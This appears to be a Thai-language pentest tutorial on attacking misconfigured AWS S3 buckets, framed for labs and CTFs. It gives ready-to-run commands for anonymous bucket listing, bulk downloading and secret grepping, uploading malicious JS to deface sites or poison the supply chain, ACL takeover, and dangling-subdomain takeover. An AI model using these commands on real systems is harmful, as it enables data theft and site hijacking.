คลัง
cloud

AWS S3 Bucket Attacks

S3 Bucket Attacks ครอบคลุมการค้นหาและโจมตี S3 bucket ที่ตั้งค่าผิด: enumeration (หา bucket จากชื่อ/cert/code), การทดสอบ permission (anonymous read/write, ACL, bucket policy), การดึงข้อมูล, write/object overwrite, bucket takeover, และการหา flag/secret บทนี้มีคำสั่งครบ + lab + troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)

BeginnerIntermediateAdvanced#aws#s3#cloud#bucket#misconfiguration#enumeration#ctf#pentest

1. หลักการ & ทำไม S3 รั่วบ่อย

S3 (Simple Storage Service) เก็บไฟล์ใน bucket ที่มีชื่อ globally-unique การรั่วเกิดจาก: bucket ตั้ง public, ACL หลวม (AllUsers/AuthenticatedUsers), bucket policy ผิด, หรือ object ACL เปิด ชื่อ bucket เดาง่าย (เช่น company-backup, company-dev) ทำให้ enumerate ได้ การเข้าถึงมี 3 ระดับ: anonymous (ไม่มี cred), authenticated (มี AWS account ใดก็ได้), และ owner

S3 access levels
Anonymous--no-sign-requestAuthenticatedAWS account ใดก็ได้ทดสอบ:ls / cp / aclpublic read→ download allpublic write→ overwrite/upload
เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, cloud pentest ที่มี scope) เท่านั้น

2. Enumeration — หา bucket

หา bucket จากหลายแหล่ง
# 1. เดาชื่อจากชื่อบริษัท/โปรเจกต์
# รูปแบบบ่อย: <name>, <name>-backup, <name>-dev, <name>-assets, <name>-logs

# 2. cloud_enum (brute หลาย cloud)
cloud_enum -k companyname -k company

# 3. s3scanner (เช็ค bucket + permission)
s3scanner scan --bucket company-backup
s3scanner scan -f bucket_list.txt

# 4. หาใน DNS/cert/code
# - certificate transparency (crt.sh) — บางทีมี s3 endpoint
# - GitHub dorks: "s3.amazonaws.com" + ชื่อบริษัท
# - หน้าเว็บ: grep -roE '[a-z0-9.-]+\.s3\.amazonaws\.com' (view-source)

# 5. URL patterns
# https://<bucket>.s3.amazonaws.com/
# https://s3.amazonaws.com/<bucket>/
# https://<bucket>.s3.<region>.amazonaws.com/

3. ทดสอบ Permission

ทดสอบทุกระดับ
B=company-backup

# anonymous list
aws s3 ls s3://$B --no-sign-request
# anonymous list (region อื่น)
aws s3 ls s3://$B --no-sign-request --region us-west-2

# authenticated list (ถ้ามี AWS account ตัวเอง)
aws s3 ls s3://$B

# ดู ACL (ใครเข้าถึงได้)
aws s3api get-bucket-acl --bucket $B --no-sign-request

# ดู bucket policy
aws s3api get-bucket-policy --bucket $B --no-sign-request

# ทดสอบ write (anonymous)
echo test > /tmp/t.txt
aws s3 cp /tmp/t.txt s3://$B/test.txt --no-sign-request

# ทดสอบ ACL write (อันตรายสุด — เปลี่ยน ACL ได้)
aws s3api put-bucket-acl --bucket $B --acl public-read-write --no-sign-request
Permissionผลกระทบทดสอบ
READ (list)เห็นรายชื่อ objects3 ls
READ (object)download ไฟล์s3 cp s3://b/file .
WRITEupload/overwrite (deface, malware)s3 cp file s3://b/
READ_ACPอ่าน ACLget-bucket-acl
WRITE_ACPเปลี่ยน ACL = ยึด bucketput-bucket-acl
FULL_CONTROLทำได้ทุกอย่าง

4. Exploitation

ดึงข้อมูล + หา secret
# download ทั้ง bucket
aws s3 sync s3://$B ./loot --no-sign-request

# หา secret ในไฟล์ที่ได้
grep -rnE 'password|secret|api[_-]?key|AKIA|BEGIN.*PRIVATE|flag' ./loot

# ไฟล์น่าสนใจ: .env, config.json, *.sql, backup, .git, terraform.tfstate
find ./loot -name '.env' -o -name '*.tfstate' -o -name 'config*' -o -name '*.bak'

# terraform state มัก leak secret เต็มๆ
cat ./loot/terraform.tfstate | jq '.resources[].instances[].attributes'
Write abuse — deface / supply-chain
# ถ้า write ได้ + bucket โฮสต์ static site → deface
aws s3 cp evil.html s3://$B/index.html --no-sign-request

# ถ้า bucket เสิร์ฟ JS/asset ที่เว็บอื่นโหลด → supply-chain (inject JS)
aws s3 cp evil.js s3://$B/app.js --no-sign-request

# WRITE_ACP → ยึด bucket ทั้งใบ
aws s3api put-bucket-acl --bucket $B --grant-full-control \
  id=<your-canonical-id> --no-sign-request

5. Bucket Takeover (Dangling)

ถ้าเว็บชี้ CNAME/link ไปยัง bucket ที่ถูกลบแล้ว → สร้าง bucket ชื่อเดียวกันในชื่อเรา = ยึดเนื้อหาที่เว็บนั้นเสิร์ฟ (subdomain takeover ผ่าน S3)

ตรวจ + ยึด
# อาการ: เข้า URL แล้วเจอ 'NoSuchBucket'
curl https://assets.target.com
# <Code>NoSuchBucket</Code>  ← ยึดได้!

# สร้าง bucket ชื่อเดียวกัน (ต้อง region เดียวกัน)
aws s3 mb s3://assets.target.com
aws s3 website s3://assets.target.com --index-document index.html
aws s3 cp poc.html s3://assets.target.com/index.html --acl public-read

6. Lab Walkthrough

  1. 1เจอ URL ในหน้าเว็บ: https://flaws-backup.s3.amazonaws.com/
  2. 2ลอง list: aws s3 ls s3://flaws-backup --no-sign-request → เห็นไฟล์!
  3. 3download: aws s3 sync s3://flaws-backup ./loot --no-sign-request
  4. 4หา secret: grep -rnE 'flag|AKIA|secret' ./loot → เจอ access key ในไฟล์ .env
  5. 5ใช้ key ต่อ: aws configure ด้วย key ที่เจอ → aws sts get-caller-identity
  6. 6pivot: key นี้อาจมีสิทธิ์ IAM → ทำต่อ (ดูหัวข้อ AWS IAM Privilege Escalation)

7. Troubleshooting

อาการสาเหตุ / แก้
AccessDenied ตอน list แต่ download ได้list ปิดแต่ object public — เดาชื่อ object ตรงๆ
NoSuchBucketbucket ไม่มี/ถูกลบ — อาจ takeover ได้
AllAccessDisabledbucket ถูก block public access ระดับ account
region errorลอง --region อื่น (us-east-1, eu-west-1)
ไฟล์เยอะ sync ช้าใช้ --exclude/--include กรอง หรือ ls ดูก่อน
403 ทุกอย่างแม้ authenticatedต้อง owner — ลอง enumerate object ชื่อเดาได้

8. Indicators & Quick Reference

สัญญาณ: URL *.s3.amazonaws.com หรือ s3.amazonaws.com/bucket, error NoSuchBucket (takeover), ชื่อ bucket เดาได้จากชื่อบริษัท
  • เริ่ม: หา bucket (cloud_enum/code/DNS) → ทดสอบ permission ทุกระดับ
  • always ลอง --no-sign-request ก่อน (anonymous)
  • ไฟล์ทอง: .env, *.tfstate, config, *.sql, .git, backup
  • key ที่เจอใน S3 → pivot ไป IAM privesc
  • flag ใน CTF: object ใน bucket, หรือ secret ที่ leak แล้วใช้ต่อ

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเพิ่งเจอโจทย์นี้: เจอชื่อ/URL ของ S3 bucket จากหน้าเว็บ, source code, หรือ DNS แต่ไม่มี AWS credential เลยสักตัว มีแค่เครื่อง Kali เปล่า ๆ ทำตามนี้ทีละขั้น

  1. 1ถ้ายังไม่มีชื่อ bucket ตรง ๆ ลองเดาจากชื่อบริษัท/โปรเจกต์: cloud_enum -k companyname (ติดตั้งก่อนถ้ายังไม่มี: pip install cloud_enum)
  2. 2เช็คหลาย bucket พร้อมกันด้วย s3scanner: s3scanner scan --bucket company-backup หรือ s3scanner scan -f bucket_list.txt
  3. 3ลอง anonymous list (ไม่ต้องมี AWS account เลย): aws s3 ls s3://<bucket> --no-sign-request — ถ้าเห็นรายชื่อไฟล์ = อ่านได้
  4. 4ถ้า list ไม่ได้ (AccessDenied) ลองเดาชื่อไฟล์ตรง ๆ: curl https://<bucket>.s3.amazonaws.com/index.html (list ปิดแต่ object อาจ public)
  5. 5ถ้า list ได้ ดึงทั้ง bucket มาเก็บไว้: aws s3 sync s3://<bucket> ./loot --no-sign-request
  6. 6grep หา secret ในไฟล์ที่ได้: grep -rnE 'password|secret|api[_-]?key|AKIA|BEGIN.*PRIVATE|flag' ./loot
  7. 7ทดสอบว่า write ได้ไหม: echo test > /tmp/t.txt && aws s3 cp /tmp/t.txt s3://<bucket>/test.txt --no-sign-request
  8. 8ดู ACL ว่าใครเข้าถึงได้บ้าง: aws s3api get-bucket-acl --bucket <bucket> --no-sign-request
  9. 9ถ้าเจอ AWS access key (AKIA...) ในไฟล์ที่ดึงมา ลองใช้ทันที: aws configure --profile found แล้ว aws sts get-caller-identity --profile found
  10. 10ถ้าเจอ error NoSuchBucket ตอนเข้า URL ที่เว็บชี้มา (เช่น assets.target.com) ให้เช็คว่า claim bucket ชื่อนั้นเองได้ไหม (subdomain takeover)
Decision tree: เจอ bucket แล้วทำไงต่อ
ลอง aws s3 ls s3://<bucket> --no-sign-request
✅ list ได้ เห็นรายชื่อไฟล์download
❌ AccessDenied (list ปิด)check-object-direct
❌ NoSuchBuckettakeover-check
sync ทั้ง bucket มาเก็บ + grep หา secret
✅ เจอ AWS key/secret ในไฟล์pivot-iam
❌ ไม่เจอ secret ในไฟล์ที่ดาวน์โหลดได้check-write
list ปิดแต่ลองเดาชื่อ object ตรง ๆ (curl bucket/index.html, backup.zip)
✅ เจอไฟล์ที่เข้าถึงได้download
❌ เดาไม่ถูกเลยcheck-write
ทดสอบ write ด้วย s3 cp --no-sign-request
✅ write ได้write-abuse
❌ write ไม่ได้check-acl
ดู ACL/policy ด้วย get-bucket-acl / get-bucket-policy
✅ เจอ WRITE_ACP ที่เปิดกว้างใช้ put-bucket-acl grant-full-control ยึด bucket ทั้งใบ
❌ ปิดหมดจริง ๆ ไม่มี key หลุดทางตัน สำหรับ bucket นี้ — กลับไปหา bucket อื่นจากชื่อบริษัท หรือหา entrypoint อื่นในโจทย์
write ได้ — deface หรือ supply-chain
ถ้า bucket โฮสต์ static site/JS ที่เว็บอื่นโหลด ให้ลอง inject payload
NoSuchBucket — เช็คว่ามีเว็บอื่น CNAME มาที่ชื่อ bucket นี้ไหม
curl หน้าเว็บที่ต้องสงสัย ดูว่า error ตรงกับชื่อ bucket ที่ยังไม่มีคนจอง
✅ ใช่ dangling CNAME จริงสร้าง bucket ชื่อเดียวกัน (region เดียวกัน) แล้วโฮสต์ index.html ของเรา = ยึด subdomain
❌ region ผิด/bucket มีคนจองแล้วลอง --region อื่น (us-east-1, eu-west-1) ก่อนสรุปว่าตัน
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
เดาชื่อ bucket จากชื่อบริษัท/โปรเจกต์-cloud_enum (pip install cloud_enum)-
สแกน bucket หลายอัน + เช็ค permission-s3scanner (pip install s3scanner)-
list/download/write ทดสอบ bucketaws-clisudo apt install awscli -y-
ดู ACL/policy ของ bucketaws-cli (s3api)--
หา key ที่หลุดในไฟล์ dump แล้วต่อยอด privesc-pacu / enumerate-iam-
grep/ค้น secret ใน dump ไฟล์ที่ดาวน์โหลดมาgrep, ripgrep--
ฝึกโจทย์ S3 misconfig จำลอง--flaws.cloud
อ้างอิง technique S3 เพิ่มเติม--hackingthe.cloud
🚑 ถ้าตันสนิท ลองท่าถัดไป: ลองดู aws-iam-privesc ถ้าเจอ AWS key ในไฟล์ที่ดึงมาจาก bucket, ลอง aws-lambda-attacks ถ้าเจอ source code ที่เชื่อมกับ Lambda function, ลอง gcp-attacks หรือ azure-ad-attacks ถ้าโจทย์จริง ๆ ใช้ GCS/Azure Blob แทน S3, ถ้าไม่มี bucket public เลยแต่มีเว็บแอปอยู่ ลองกลับไปที่ ssrf เพื่อหา metadata endpoint

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้